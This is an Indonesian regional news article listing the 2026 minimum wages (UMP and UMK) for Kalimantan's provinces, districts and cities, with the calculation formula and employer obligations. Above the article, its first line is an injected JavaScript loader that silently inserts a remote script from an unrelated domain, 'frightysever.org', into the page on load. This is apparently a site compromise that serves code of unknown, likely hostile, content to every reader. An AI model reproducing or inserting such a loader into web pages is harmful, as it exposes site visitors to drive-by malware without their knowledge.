(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ilustrasi pemberian UMP di daerah | Pixabay/IqbalStock
Seluruh provinsi di Indonesia sudah merampungkan penetapan Upah Minimum Provinsi (UMP) yang ditetapkan paling lambat pada 24 Desember 2025 lalu. Seiring dengan diumumkannya daftar UMP di seluruh provinsi, daftar Upah Minimum Kabupaten/Kota (UMK) dan Upah Minimum Sektoral (UMS) turut ditetapkan.
Secara nasional, Jakarta menjadi provinsi dengan UMP tertinggi, yakni Rp5.729.876. Jumlah ini naik sebesar 6,17 persen dibandingkan tahun sebelumnya. Di sisi lain, Jawa Barat menjadi provinsi dengan UMP terendah se-Indonesia, yakni Rp2.317.601.
Lalu, bagaimana dengan Kalimantan?
UMP di seluruh provinsi dan kabupaten/kota di Kalimantan terpantau naik. Bahkan, terdapat satu daerah yang UMK-nya tembus hingga Rp4,3 juta.
UMP adalah istilah resmi yang digunakan untuk menyebut upah minimum di setiap provinsi di seluruh Indonesia. UMP menjadi “pengganti” Upah Minimum Regional (UMR) yang sebelumnya selalu dipakai untuk menunjukkan besaran upah minimum di seluruh kabupaten/kota dalam provinsi.
Upah minimum setingkat provinsi ini berlaku untuk seluruh kabupaten/kota dalam suatu provinsi jika besaran UMK belum ditetapkan. Upah minimum ini ditetapkan oleh gubernur.
Sementara itu, UMK merupakan upah minimum spesifik yang ditetapkan untuk setiap kabupaten/kota dan berlaku hanya di daerah yang bersangkutan. Umumnya jumlah UMK lebih besar dari UMP karena mempertimbangkan kebutuhan serta kesejahteraan pekerja. Dalam hal ini, UMK ditetapkan oleh gubernur dan direkomendasikan oleh bupati/wali kota.
Penetapan UMP di Kalimantan merujuk pada Peraturan Pemerintah (PP) Nomor 49 Tahun 2025 tentang Pengupahan. Ada sedikit perubahan dalam penetapan UMP tiap provinsi untuk periode tahun 2026, di mana besaran alfa dinaikkan menjadi rentang 0,5-0,9.
Sebagai informasi, sebelumnya rentang alfa ada di kisaran 0,1-0,3. Dengan kenaikan rentang alfa itu, jelas bahwa UMP di seluruh Indonesia akan mengalami sedikit kenaikan.
Rumus yang digunakan dalam perhitungan UMP 2026 adalah kombinasi inflasi, pertumbuhan ekonomi, dan alfa. Di bawah ini adalah rumus resmi penetapan UMP 2026 berdasarkan PP No.49/2025:
Kenaikan UMP 2026 = Inflasi + (Pertumbuhan Ekonomi x Alfa)
| Provinsi | UMP 2025 | UMP 2026 | Kenaikan |
| Kalimantan Selatan | Rp3.496.150 | Rp3.725.000 | 6,54% |
| Kalimantan Barat | Rp2.878.286 | Rp3.054.000 | 6,10% |
| Kaimantan Timur | Rp3.579.314 | Rp3.759.313 | 5,02% |
| Kalimantan Tengah | Rp3.473.621 | Rp3.686.138 | 6,11% |
| Kalimantan Utara | Rp3.580.160 | Rp3.770.000 | 5,30% |
Kalimantan Utara menjadi provinsi dengan UMP tertinggi pada 2026, sedangkan Kalimantan Barat menjadi yang terendah. Rata-rata kenaikan UMP di Kalimantan juga berada di kisaran 6%, dengan kenaikan tertinggi di Provinsi Kalimantan Selatan.
| Kabupaten/Kota | UMK 2025 | UMK 2026 | Kenaikan |
| Kab. Kotabaru | Rp3.643.004 | Rp3.904.645 | 7,18% |
| Kota Banjarmasin | Rp3.599.182 | Rp3.855.894 | 7,13% |
| Kab. Tabalong | Rp3.592.197 | Rp3.827.935 | 6,56% |
| Kab. Tanah Bumbu | Rp3.500.163 | Rp3.736.000 | 6,74% |
| Kab. Hulu Sungai Selatan | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kab. Tapin | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kota Banjarbaru | Rp3.496.195 | Rp3.843.037 | 9,92% |
| Kab. Banjar | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kab. Barito Kuala | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kab. Tanah Laut | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kab. Balangan | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kab. Hulu Sungai Tengah | Rp3.496.195 | Rp3.725.000 | 6,54% |
| Kab. Hulu Sungai Utara | Rp3.496.195 | Rp3.725.000 | 6,54% |
Kabupaten Kotabaru menjadi kabupaten/kota dengan UMK tertinggi se-Kalimantan Selatan pada 2026. Sementara itu, beberapa kabupaten, seperti Hulu Sungai Selatan, Tapin, Banjar, Barito Kuala, Tanah Laut, Balangan, Hulu Sungai Tengah, dan Hulu Sungai Utara memiliki UMK yang paling rendah.
Di sisi lain, persentase kenaikan tertinggi ada di Kota Banjarbaru yang tembus hingga 9%.
Baca juga: Banjarbaru Tetapkan UMK Sendiri, Angka di Atas UMP Kalsel
| Kabupaten/Kota | UMK 2025 | UMK 2026 | Kenaikan |
| Kab. Ketapang | Rp3.396.267 | Rp3.561.801 | 4,87% |
| Kab. Kayong Utara | Rp3.220.756 | Rp3.370.586 | 4,65% |
| Kota Singkawang | Rp3.074.566 | Rp3.247.387 | 5,62% |
| Kab. Bengkayang | Rp3.062.260 | Rp3.252.580 | 6,22% |
| Kab. Landak | Rp3.054.906 | Rp3.211.256 | 5,12% |
| Kab. Sintang | Rp3.039.805 | Rp3.187.965 | 4,87% |
| Kota Pontianak | Rp3.024.820 | Rp3.205.220 | 5,96% |
| Kab. Sambas | Rp3.015.520 | Rp3.202.663 | 6,21% |
| Kab. Sanggau | Rp2.970.885 | Rp3.121.747 | 5,08% |
| Kab. Melawi | Rp2.953.711 | Rp3.109.431 | 5,27% |
| Kab. Kapuas Hulu | Rp2.924.501 | Rp3.106.259 | 6,22% |
| Kab. Kubu Raya | Rp2.878.286 | Rp3.100.000 | 7,70% |
| Kab. Mempawah | Rp2.878.286 | Rp3.220.801 | 11,90% |
| Kab. Sekadau | Rp2.878.286 | Rp3.120.000 | 8,40% |
UMK paling tinggi ada di Kabupaten Ketapang, terendah di Kabupaten Kubu Raya. Persentase kenaikan terbesar ada di Kab. Mempawah.
| Kabupaten/Kota | UMK 2025 | UMK 2026 | Kenaikan |
| Kab. Paser | Rp3.591.565 | Rp3.776.998 | 5,16% |
| Kab. Kutai Kartanegara | Rp3.766.379 | Rp3.991.797 | 5,99% |
| Kab. Berau | Rp4.081.376 | Rp4.391.337 | 7,59% |
| Kab. Kutai Timur | Rp3.743.820 | Rp4.067.436 | 8,64% |
| Kab. Kutai Barat | Rp3.952.233 | Rp4.231.617 | 7,07% |
| Kab. Penajam Paser Utara | Rp3.957.345 | Rp4.181.134 | 5,66% |
| Kota Samarinda | Rp3.724.437 | Rp3.983.882 | 6,97% |
| Kota Balikpapan | Rp3.701.508 | Rp3.856.694, | 4,19% |
| Kota Bontang | Rp3.780.012 | Rp3.799.480 | 0,52% |
Tertinggi di Kabupaten Berau. Sementara itu, yang paling rendah adalah Kabupaten Paser. Untuk Ibu Kota Nusantara (IKN) belum diumumkan besaran upah minimumnya. Mengapa demikian?
Berdasarkan aturan dalam PP No.51/2023, pihak yang menetapkan upah minimum IKN adalah Kepala Otorita IKN, bukan oleh gubernur seperti pada umumnya.
| Kabupaten/Kota | UMK 2025 | UMK 2026 | Kenaikan |
| Kab. Barito Utara | Rp3.900.362 | Rp4.093.071 | 4,94% |
| Kab. Seruyan | Rp3.870.690 | Rp4.051.079 | 4,66% |
| Kab. Barito Selatan | Rp3.829.097 | Rp4.045.059 | 5,64% |
| Kab. Murung Raya | Rp3.793.932 | Rp3.998.046 | 5,38% |
| Kab. Lamandau | Rp3.781.317 | Rp3.938.998 | 4,17% |
| Kab. Sukamara | Rp3.716.340 | Rp3.912.098 | 5,27% |
| Kab. Kotawaringin Barat | Rp3.700.658 | Rp3.909.005 | 5,63% |
| Kab. Katingan | Rp3.561.258 | Rp3.729.766 | 4,73% |
| Kab. Kotawaringin Timur | Rp3.559.112 | Rp3.756.643 | 5,55% |
| Kab. Gunung Mas | Rp3.544.506 | Rp3.770.716 | 6,38% |
| Kota Palangka Raya | Rp3.525.154 | Rp3.724.677 | 5,66% |
| Kab. Barito Timur | Rp3.498.701 | Rp3.716.006 | 6,21% |
| Kab. Pulang Pisau | Rp3.481.226 | Rp3.701.205 | 6,32% |
| Kab. Kapuas | Rp3.473.710 | Rp3.710.096 | 6,81% |
Kabupaten Barito Utara menjadi daerah dengan UMK tertinggi di Kalimantan Tengah. Sementara itu, Pulau Pisau menjadi yang paling rendah.
| Kabupaten/Kota | UMK 2025 | UMK 2026 | Kenaikan |
| Kab. Bulungan | Rp3.706.867 | Rp3.900.396 | 5,22% |
| Kab. Nunukan | Rp3.652.907 | Rp3.845.251 | 5,26% |
| Kota Tarakan | Rp4.460.405 | Rp4.742.169 | 6,31% |
| Kab. Tana Tidung | Rp3.702.906 | Rp3.870.800 | 4,53% |
| Kab. Malinau | Rp3.841.561 | Rp4.040.073 | 5,16% |
Mengacu Permenaker Nomor 16 Tahun 2024, perusahaan wajib menerapkan Upah Minimum Provinsi (UMP) atau Upah Minimum Kabupaten/Kota (UMK) yang berlaku di wilayah operasionalnya mulai 1 Januari 2026. Upah minimum merupakan batas terendah upah bulanan yang harus dibayarkan kepada pekerja dengan masa kerja kurang dari satu tahun.
Jika suatu daerah telah menetapkan UMK, artinyabesaran UMK wajib digunakan dan menggugurkan UMP. Perusahaan diwajibkan menyusun struktur dan skala upah sebagai dasar pengupahan. Pembayaran upah di bawah ketentuan UMP atau UMK dilarang dan dapat dikenai sanksi sesuai peraturan perundang-undangan. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.